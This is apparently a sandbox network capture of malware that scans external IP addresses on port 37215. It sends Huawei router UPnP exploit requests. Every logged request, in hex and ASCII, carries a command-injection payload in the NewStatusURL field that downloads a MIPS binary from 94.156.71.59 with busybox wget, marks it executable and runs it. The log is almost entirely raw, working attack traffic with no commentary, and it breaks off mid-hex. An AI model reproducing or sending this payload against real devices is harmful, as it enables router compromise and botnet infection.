Jun 10, 2024 15:38:03.314095974 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
913	192.168.2.13	32810	41.205.188.128	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.315258980 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
914	192.168.2.13	33266	197.58.153.134	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.316446066 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
915	192.168.2.13	53822	156.150.20.203	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.317666054 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
916	192.168.2.13	55230	197.83.227.29	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.318996906 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
917	192.168.2.13	33550	197.238.127.5	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.320257902 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
918	192.168.2.13	52094	197.91.68.234	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.321633101 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
919	192.168.2.13	43204	41.177.129.128	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.322844982 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
920	192.168.2.13	60946	41.205.154.59	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.324043989 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
921	192.168.2.13	38312	41.21.191.23	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.325207949 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
922	192.168.2.13	37240	41.38.242.67	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.326433897 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 